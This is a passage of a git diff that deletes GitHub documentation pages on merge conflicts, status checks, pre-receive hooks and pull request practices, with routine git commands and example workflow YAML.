and another person removed the same file in another branch in the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Navigate into the local Git repository that has the merge conflict. - - ```shell - cd REPOSITORY-NAME - ``` - -1. Generate a list of the files affected by the merge conflict. In this example, the file `README.md` has a merge conflict. - - ```shell - $ git status - > # On branch main - > # Your branch and 'origin/main' have diverged, - > # and have 1 and 2 different commits each, respectively. - > # (use "git pull" to merge the remote branch into yours) - > # You have unmerged paths. - > # (fix conflicts and run "git commit") - > # - > # Unmerged paths: - > # (use "git add/rm ..." as appropriate to mark resolution) - > # - > # deleted by us: README.md - > # - > # no changes added to commit (use "git add" and/or "git commit -a") - ``` - -1. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts. -1. Decide if you want to keep the removed file. You may want to view the latest changes made to the removed file in your text editor. - - To add the removed file back to your repository: - - ```shell - git add README.md - ``` - - To remove this file from your repository: - - ```shell - $ git rm README.md - > README.md: needs merge - > rm 'README.md' - ``` - -1. Commit your changes with a comment. - - ```shell - $ git commit -m "Resolve merge conflict by keeping README.md file" - > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d - ``` - -You can now merge the branches on the command line or [push your changes to your remote repository](/get-started/using-git/pushing-commits-to-a-remote-repository) on {% data variables.product.github %} and [merge your changes](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) in a pull request. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally) diff --git a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md b/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md deleted file mode 100644 index 01d58808a2f4..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: About status checks -intro: Status checks let you know if your commits meet the conditions set for the repository you're contributing to. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks - - /articles/about-statuses - - /articles/about-status-checks - - /github/collaborating-with-issues-and-pull-requests/about-status-checks - - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -Status checks are based on external processes, such as continuous integration builds, which run for each push you make to a repository. You can see the _pending_, _passing_, or _failing_ state of status checks next to individual commits in your pull request. - -![Screenshot of a list of commits and statuses.](/assets/images/help/pull_requests/commit-list-statuses.png) - -Anyone with write permissions to a repository can set the state for any status check in the repository. - -You can see the overall state of the last commit to a branch on your repository's branches page or in your repository's list of pull requests. - -{% data reusables.pull_requests.required-checks-must-pass-to-merge %} - -{% data reusables.actions.workflows.skipped-job-status-checks-passing %} - -## Types of status checks on {% data variables.product.github %} - -There are two types of status checks on {% data variables.product.github %}: - -* Checks -* Commit statuses - -_Checks_ are different from _commit statuses_ in that they provide line annotations, more detailed messaging, and are only available for use with {% data variables.product.prodname_github_apps %}. - -> [!NOTE] -> {% data variables.product.prodname_actions %} generates checks, not commit statuses, when workflows are run. - -Organization owners and users with push access to a repository can create checks and commit statuses with {% data variables.product.github %}'s API. For more information, see [AUTOTITLE](/rest/checks) and [AUTOTITLE](/rest/commits/statuses). - -## Checks - -When _checks_ are set up in a repository, pull requests have a **Checks** tab where you can view detailed build output from checks and rerun failed checks. - -> [!NOTE] -> The **Checks** tab only gets populated for pull requests if you set up _checks_, not _commit statuses_, for the repository. - -When a specific line in a commit causes a check to fail, you will see details about the failure, warning, or notice next to the relevant code in the **Files** tab of the pull request. - -You can navigate between the checks summaries for various commits in a pull request, using the commit drop-down menu under the **Checks** tab. - -![Screenshot of the "Checks" tab of a pull request. The "Checks" tab and the dropdown menu to select a commit are both outlined in dark orange.](/assets/images/help/pull_requests/checks-summary-for-various-commits.png) - -## Skipping and requesting checks for individual commits - -When a repository is set to automatically request checks for pushes, you can choose to skip checks for an individual commit you push. When a repository is _not_ set to automatically request checks for pushes, you can request checks for an individual commit you push. For more information on these settings, see [AUTOTITLE](/rest/checks/suites#update-repository-preferences-for-check-suites). - -You can also skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/skipping-workflow-runs) - -Alternatively, to skip or request _all_ checks for your commit, add one of the following trailer lines to the end of your commit message: - -* To _skip checks_ for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `skip-checks: true`: - - ```shell - $ git commit -m "Update README - > - > - skip-checks: true" - ``` - -* To _request_ checks for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `request-checks: true`: - - ```shell - $ git commit -m "Refactor usability tests - > - > - request-checks: true" - ``` - -{% data reusables.commits.about-commit-cleanup %} - -## Check statuses and conclusions - -Checks can have many different statuses. Statuses describe the state of a check from when it is created to when it is completed. Some statuses cannot be set manually and are reserved for {% data variables.product.prodname_actions %}. When a check has a status of `completed`, it has a conclusion. The conclusion describes the result of the check. All possible check statuses and conclusions are listed below. - -| Status | Description | {% data variables.product.prodname_actions %} only? | -| --- | --- | --- | -| `completed` | The check run completed and has a conclusion (see below). | No | -| `expected` | The check run is waiting for a status to be reported. | Yes | -| `failure` | The check run failed. | No | -| `in_progress` | The check run is in progress. | No | -| `pending` | The check run is at the front of the queue but the [group-based concurrency](/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs) limit has been reached. | Yes | -| `queued` | The check run has been queued. | No | -| `requested` | The check run has been created but has not been queued. | Yes | -| `startup_failure` | The check suite failed during startup. This status is not applicable to check runs. | Yes | -| `waiting` | The check run is waiting for a [deployment protection rule](/actions/managing-workflow-runs-and-deployments/managing-deployments/managing-environments-for-deployment#deployment-protection-rules) to be satisfied. | Yes | - -| Conclusion | Description | -| --- | --- | -| `action_required` | The check run provided required actions upon its completion. For more information, see [AUTOTITLE](/rest/guides/using-the-rest-api-to-interact-with-checks#check-runs-and-requested-actions). | -| `cancelled` | The check run was cancelled before it completed. | -| `failure` | The check run failed. | -| `neutral` | The check run completed with a neutral result. This is treated as a success for dependent checks in {% data variables.product.prodname_actions %}. | -| `skipped` | The check run was skipped. This is treated as a success for dependent checks in {% data variables.product.prodname_actions %}. | -| `stale` | The check run was marked stale by {% data variables.product.github %} because it took too long. | -| `success` | The check run completed successfully. | -| `timed_out` | The check run timed out. | - -## Retention of checks - -{% data reusables.pull_requests.retention-checks-data %} diff --git a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md b/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md deleted file mode 100644 index 9d15773cac44..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Collaborating on repositories with code quality features -intro: 'Workflow quality features like statuses, {% ifversion ghes %}pre-receive hooks, {% endif %}protected branches, and required status checks help collaborators make contributions that meet conditions set by organization and repository administrators.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features - - /articles/collaborating-on-repositories-with-code-quality-features-enabled - - /articles/collaborating-on-repositories-with-code-quality-features - - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -children: - - /about-status-checks - - /troubleshooting-required-status-checks - - /working-with-pre-receive-hooks -shortTitle: Code quality features ---- diff --git a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/troubleshooting-required-status-checks.md b/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/troubleshooting-required-status-checks.md deleted file mode 100644 index 98aab41cc643..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/troubleshooting-required-status-checks.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Troubleshooting required status checks -intro: You can check for common errors and resolve issues with required status checks. -product: '{% data reusables.gated-features.protected-branches %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -redirect_from: - - /github/administering-a-repository/troubleshooting-required-status-checks - - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks - - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks -shortTitle: Required status checks ---- -If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see [AUTOTITLE](/rest/checks). - -> [!NOTE] -> To be required, status checks must have completed successfully within the chosen repository during the past seven days. - -After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-status-checks-before-merging). - -> [!NOTE] -> You can also bring your branch up to date with the base branch using Git rebase. For more information, see [AUTOTITLE](/get-started/using-git/about-git-rebase). - -You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following. - -```shell -remote: error: GH006: Protected branch update failed for refs/heads/main. -remote: error: Required status check "ci-build" is failing -``` - -> [!NOTE] -> Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself. - -## Required check needs to succeed against the latest commit SHA - -In order for a pull request to be merged, all required checks must pass against the latest commit SHA. This ensures that the most recent changes are validated and meet the required standards before merging. Checks that were triggered using a previous commit SHA will not be used as part of required checks. Successful check statuses are: `success`, `skipped`, and `neutral`. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). - -## Conflicts between head commit and test merge commit - -Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. - -If there is a conflict between the test merge commit and head commit, the checks for the test merge commit are shown in the pull request status checks box. This is indicated in the pull request status box by a line starting with `Showing checks for the merge commit`. For more information about test merge commits, see [AUTOTITLE](/rest/pulls/pulls#get-a-pull-request). - -## Handling skipped but required checks - -> [!WARNING] -> If a workflow is skipped due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [branch filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) or a [commit message](/actions/managing-workflow-runs/skipping-workflow-runs), then checks associated with that workflow will remain in a "Pending" state. A pull request that requires those checks to be successful will be blocked from merging. -> -> {% data reusables.pull_requests.path-filtering-required-workflows %} -> -> If, however, a job within a workflow is skipped due to a conditional, it will report its status as "Success". For more information, see [AUTOTITLE](/actions/using-jobs/using-conditions-to-control-job-execution). -> -> When a job fails, any jobs that depend on the failed job are skipped and do not report a failure. A pull request that requires the check may not be blocked. To use a required check on a job that depends on other jobs, use the `always()` conditional expression in addition to `needs`, see [AUTOTITLE](/actions/using-jobs/using-jobs-in-a-workflow#defining-prerequisite-jobs). - -### Example - -The following example shows a workflow that requires a "Successful" completion status for the `build` job, but the workflow will be skipped if the pull request does not change any files in the `scripts` directory. - -```yaml -name: ci -on: - pull_request: - paths: - - 'scripts/**' -jobs: - build: - runs-on: ubuntu-latest - strategy: - matrix: - node-version: [12.x, 14.x, 16.x] - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: {% raw %}${{ matrix.node-version }}{% endraw %} - cache: 'npm' - - run: npm ci - - run: npm run build --if-present - - run: npm test -``` - -Due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), a pull request that only changes a file in the root of the repository will not trigger this workflow and is blocked from merging. On the pull request, you would see "Waiting for status to be reported." - -{% data reusables.pull_requests.path-filtering-required-workflows %} - -### Status checks with {% data variables.product.prodname_actions %} and a Merge queue - -You **must** use the `merge_group` event to trigger your {% data variables.product.prodname_actions %} workflow when a pull request is added to a merge queue. - -> [!NOTE] -> {% data reusables.actions.merge-group-event-with-required-checks %} - -A workflow that reports a check which is required by the target branch's protections would look like this: - -```yaml -on: - pull_request: - merge_group: -``` - -For more information on the `merge_group` event, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#merge_group). - -## Required status checks from unexpected sources - -It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app. - -```text -Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}. -``` diff --git a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md b/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md deleted file mode 100644 index 5ee2b87e6d60..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Working with pre-receive hooks -intro: '*Pre-receive hooks* enforce rules for contributions before commits may be pushed to a repository.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks - - /articles/working-with-pre-receive-hooks - - /github/collaborating-with-issues-and-pull-requests/working-with-pre-receive-hooks - - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks -versions: - ghes: '*' -shortTitle: Pre-receive hooks ---- -Pre-receive hooks run tests on code pushed to a repository to ensure contributions meet repository or organization policy. If the commit contents pass the tests, the push will be accepted into the repository. If the commit contents do not pass the tests, the push will not be accepted. - -If your push isn't accepted, you'll see an error message corresponding to the failed pre-receive hook. - -```shell -$ git push -Counting objects: 3, done. -Delta compression using up to 4 threads. -Compressing objects: 100% (2/2), done. -Writing objects: 100% (3/3), 916 bytes | 0 bytes/s, done. -Total 3 (delta 0), reused 0 (delta 0) -remote: always_reject.sh: failed with exit status 1 -remote: error: rejecting all pushes -To https://54.204.174.51/hodor/nope.git - ! [remote rejected] main -> main (pre-receive hook declined) -error: failed to push some refs to 'https://54.204.174.51/hodor/nope.git' -``` - -Your {% data variables.product.prodname_ghe_server %} site administrator can create and remove pre-receive hooks for your organization or repository, and may allow organization or repository administrators to enable or disable pre-receive hooks. For more information, see [AUTOTITLE](/admin/policies/enforcing-policy-with-pre-receive-hooks). diff --git a/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md b/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md deleted file mode 100644 index 0129fa41ab4c..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: About collaborative development models -intro: The way you use pull requests depends on the type of development model you use in your project. You can use the fork and pull model or the shared repository model. -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/getting-started/about-collaborative-development-models - - /articles/types-of-collaborative-development-models - - /articles/about-collaborative-development-models - - /github/collaborating-with-issues-and-pull-requests/about-collaborative-development-models - - /github/collaborating-with-pull-requests/getting-started/about-collaborative-development-models -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Collaborative development ---- -## Fork and pull model - -In the fork and pull model, anyone can fork an existing ("upstream") repository to which they have read access and the owner of the upstream repository allows it. Be aware that a fork and its upstream share the same git data. This means that all content uploaded to a fork is accessible from the upstream and all other forks of that upstream. You do not need permission from the upstream repository to push to a fork of it you created. You can optionally allow anyone with push access to the upstream repository to make changes to your pull request branch. This model is popular with open-source projects as it reduces the amount of friction for new contributors and allows people to work independently without upfront coordination. - -> [!TIP] -> {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning %} - -## Shared repository model - -In the shared repository model, collaborators are granted push access to a single shared repository and topic branches are created when changes need to be made. Pull requests are useful in this model as they initiate code review and general discussion about a set of changes before the changes are merged into the main development branch. This model is more prevalent with small teams and organizations collaborating on private projects. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/content/pull-requests/collaborating-with-pull-requests/getting-started/helping-others-review-your-changes.md b/content/pull-requests/collaborating-with-pull-requests/getting-started/helping-others-review-your-changes.md deleted file mode 100644 index 53f099995026..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/getting-started/helping-others-review-your-changes.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Helping others review your changes -intro: 'You can use pull requests to provide clear context for your changes and keep your team informed, improving collaboration and the quality of reviews.' -redirect_from: - - /pull-requests/collaborating-with-pull-requests/getting-started/best-practices-for-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Help others review your changes ---- - -When you create a pull request, you’re asking your team to review your changes and provide feedback. This guide provides best practices for creating pull requests that are easy to review and keep your team informed, so that you can improve collaboration and the quality of reviews. - -## Making your changes easy to review - -Clear context in your pull requests helps reviewers quickly see what you’ve changed and why it matters. This makes the review process faster and smoother, with less back-and-forth, and helps your team give better feedback and make confident decisions. For information on creating a pull request, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). - -### Write small pull requests - -Aim to create small, focused pull requests that fulfill a single purpose. Smaller pull requests are easier and faster to review and merge, leave less room to introduce bugs, and provide a clearer history of changes. - -### Provide context and guidance - -Write clear titles and descriptions for your pull requests so that reviewers can quickly understand what the pull request does. In the pull request body, include: - -* The purpose of the pull request -* An overview of what changed -* Links to any additional context such as tracking issues or previous conversations - -To help reviewers, share the type of feedback you need. For example, do you need a quick look or a deeper critique?{% ifversion copilot %} Additionally, you can use {% data variables.product.prodname_copilot %} to generate a summary of your pull request. See [Use {% data variables.product.prodname_copilot %} to generate pull request summaries](#use-github-copilot-to-generate-pull-request-summaries), later in this article.{% endif %} - -If your pull request consists of changes to multiple files, provide guidance to reviewers about the order in which to review the files. Recommend where to start and how to proceed with the review. - -### Review your own pull request first - -Review, build, and test your own pull request before submitting it. This will allow you to catch errors or typos that you may have missed, before others start reviewing. - -### Review for security - -There are various tools available that can help you review your pull request for potential security issues before others review it. Reviewing for security helps to catch and resolve security issues early, and lets you highlight unresolved risks for others to review and advise on. For example, you can: - -* Check the dependency diff to see if your pull request is introducing vulnerable dependencies. See [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request). -* Check the {% data variables.product.prodname_advisory_database %} to find additional context and information on vulnerable dependencies. -* Investigate and resolve any failing security checks or workflows, such as the dependency review action or the {% data variables.product.prodname_code_scanning %} results check. See [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#about-the-dependency-review-action) and [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests#about-code-scanning-as-a-pull-request-check).{% ifversion code-scanning-autofix %} -* If your repository has set up {% data variables.product.prodname_code_scanning %} as a pull request check, use {% data variables.product.prodname_copilot_autofix %} to suggest fixes for security vulnerabilities in your code. See [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests#working-with-copilot-autofix-suggestions-for-alerts-on-a-pull-request).{% endif %} - -## Keeping your team informed - -Pull requests can do more than just document code changes—they’re also a powerful way to keep your team and manager informed about the status of your work. By making your progress visible in your pull requests, you can reduce the need for separate updates and ensure everyone stays aligned. - -{% ifversion copilot %} - -### Use {% data variables.product.prodname_copilot %} to generate pull request summaries - -> [!NOTE] {% data reusables.copilot.copilot-requires-subscription %} - -You can use {% data variables.product.prodname_copilot_short %} to generate a summary of a pull request on {% data variables.product.github %}. You can use the summary to help reviewers understand your changes. - -1. On {% data variables.product.github %}, create a pull request or navigate to an existing pull request. - - > [!NOTE] {% data variables.product.prodname_copilot_short %} does not take into account any existing content in the pull request description, so it is best to start with a blank description. - -1. Navigate to the text field where you want to add the pull request summary. - - * If you're creating a new pull request, use the "Add a description" field. - * If you're adding a description to an existing pull request, edit the opening comment. - * If you're adding a summary as a comment, navigate to the "Add a comment" section at the bottom of the pull request page. - -1. In the header of the text field, select {% octicon "copilot" aria-label="Copilot actions" %}, then click **Summary**. - - ![Screenshot of the form for creating a pull request. A Copilot icon is highlighted, and a box appears with the "Summary" command.](/assets/images/help/copilot/copilot-description-suggestion.png) - -1. Wait for {% data variables.product.prodname_copilot_short %} to produce the summary, then check over the results carefully. -1. Add any additional context that will help people viewing your pull request. -1. When you're happy with the description, click **Create pull request** on a new pull request, or **Update comment** if you're editing an existing description. - -> [!TIP] You can also use {% data variables.product.prodname_copilot_chat_short %} to turn your work into a discussion or blog post. See [AUTOTITLE](/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts). - -{% endif %} - -### Link to related issues or projects - -Connect your pull request to relevant issues or project boards to show how your work fits into the larger project. - -* Add keywords like `Closes ISSUE-LINK` in your description to automatically link and close the issue when the pull request is merged. -* Use {% data variables.product.prodname_projects_v2 %} to track your work and link to the project from your pull request, making progress easy to track in one place. See [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -### Highlight the status with labels - -Add a status label to your pull request to show whether it’s ready for review, blocked, or in progress. This helps reviewers understand the state of your work at a glance. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels). diff --git a/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md b/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md deleted file mode 100644 index 0b3b19f02ef5..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Getting started -shortTitle: Getting started -intro: 'Learn about the {% data variables.product.prodname_dotcom %} flow and different ways to collaborate on and discuss your projects.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/getting-started - - /github/collaborating-with-issues-and-pull-requests/overview - - /github/collaborating-with-pull-requests/getting-started -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests - - Issues - - Discussions - - Fundamentals -children: - - /about-collaborative-development-models - - /helping-others-review-your-changes - - /managing-and-standardizing-pull-requests ---- diff --git a/content/pull-requests/collaborating-with-pull-requests/getting-started/managing-and-standardizing-pull-requests.md b/content/pull-requests/collaborating-with-pull-requests/getting-started/managing-and-standardizing-pull-requests.md deleted file mode 100644 index 4ed473b98794..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/getting-started/managing-and-standardizing-pull-requests.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Managing and standardizing pull requests -intro: 'Use these steps to manage and standardize the pull requests that contributors create in your repository.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Manage and standardize pull requests ---- - -If you are a repository maintainer, there are several ways that you can manage and standardize the pull requests that contributors create in your repository. These steps can help you ensure that pull requests are reviewed by the right people, and that they meet your repository's standards. - -## Using pull request templates - -Pull request templates let you customize and standardize the information you'd like to be included when someone creates a pull request in your repository. When you add a pull request template to your repository, project contributors will automatically see the template's contents in the pull request body. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository). - -You can use pull request templates to standardize the review process for your repository. For example, you can include a list of tasks that you would like authors to complete before merging their pull requests, by adding a task list to the template. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - -You can request that contributors include an issue reference in their pull request body, so that merging the pull request will automatically close the issue. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). - -## Defining code owners - -You may want to make sure that specific individuals always review changes to certain code or files in your repository. For example, you may want to ensure that a member of the security team always reviews changes to your `SECURITY.md` file or `dependabot.yml` file. - -You can define individuals or teams that you consider responsible for code or files in a repository to be code owners. Code owners will automatically be requested for review when someone opens a pull request that modifies the files that they own. You can define code owners for specific types of files or directories, as well as for different branches in a repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -## Using protected branches - -You can use protected branches to prevent pull requests from being merged into important branches, such as `main`, until certain conditions are met. For example, you can require an approving review, or require that all status checks are passing. See [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -## Using rulesets - -Working alongside protected branches, rulesets let you enforce policies across your repository, such as requiring status checks or workflows to pass before a pull request can be merged. - -Rulesets are especially useful for maintaining repository security when combined with other automated security checks. For example: -* You can use rulesets to enforce the dependency review action, a workflow that blocks pull requests that are introducing vulnerable dependencies into your codebase. See [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/enforcing-dependency-review-across-an-organization). {% ifversion code-scanning-merge-protection-rulesets %} -* If your repository is configured with {% data variables.product.prodname_code_scanning %}, you can use rulesets to set {% data variables.product.prodname_code_scanning %} merge protection, which prevents pull requests from being merged if there is a {% data variables.product.prodname_code_scanning %} alert of a certain severity, or if a {% data variables.product.prodname_code_scanning %} analysis is still in progress. See [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/set-code-scanning-merge-protection).{% endif %} - -{% ifversion push-rulesets %} - -## Using push rulesets - -{% data reusables.repositories.push-rulesets-overview %} - -For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets#push-rulesets). - -{% endif %} - -## Using automated tools to review code styling - -Use automated tools, such as linters, in your repository's pull requests to maintain consistent styling and make code more understandable. Using automated tools to catch smaller problems like typos or styling leaves more time for reviewers to focus on the substance of a pull request. - -For example, you can use {% data variables.product.prodname_actions %} to set up code linters that can run on pull requests as part of your continuous integration (CI) workflow. For more information, see [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration). diff --git a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md deleted file mode 100644 index 16c5b62fc1c1..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: About pull request merges -intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges - - /articles/about-pull-request-merge-squashing - - /articles/about-pull-request-merges - - /github/collaborating-with-issues-and-pull-requests/about-pull-request-merges - - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- -## Merge your commits - -{% data reusables.pull_requests.default_merge_option %} - -## Squash and merge your commits - -{% data reusables.pull_requests.squash_and_merge_summary %} - -### Merge message for a squash merge - -When you squash and merge, {% data variables.product.prodname_dotcom %} generates a default commit message, which you can edit. Depending on how the repository is configured and the number of commits in the pull request, not including merge commits, this message may include the pull request title, pull request description, or information about the commits. - -| Number of commits | Summary | Description | -| ----------------- | ------- | ----------- | -| One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit | -| More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order | - -People with maintainer or admin access to a repository can configure their repository's default merge message for all squashed commits to use the pull request title, the pull request title and commit details, or the pull request title and description. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests). - -### Squashing and merging a long-running branch - -If you plan to continue work on the [head branch](/get-started/learning-about-github/github-glossary#head-branch) of a pull request after the pull request is merged, we recommend you don't squash and merge the pull request. - -When you create a pull request, {% data variables.product.prodname_dotcom %} identifies the most recent commit that is on both the head branch and the [base branch](/get-started/learning-about-github/github-glossary#base-branch): the common ancestor commit. When you squash and merge the pull request, {% data variables.product.prodname_dotcom %} creates a commit on the base branch that contains all of the changes you made on the head branch since the common ancestor commit. - -Because this commit is only on the base branch and not the head branch, the common ancestor of the two branches remains unchanged. If you continue to work on the head branch, then create a new pull request between the two branches, the pull request will include all of the commits since the common ancestor, including commits that you squashed and merged in the previous pull request. If there are no conflicts, you can safely merge these commits. However, this workflow makes merge conflicts more likely. If you continue to squash and merge pull requests for a long-running head branch, you will have to resolve the same conflicts repeatedly. - -## Rebase and merge your commits - -{% data reusables.pull_requests.rebase_and_merge_summary %} - -You aren't able to automatically rebase and merge when: -* The pull request has merge conflicts. -* Rebasing the commits from the base branch into 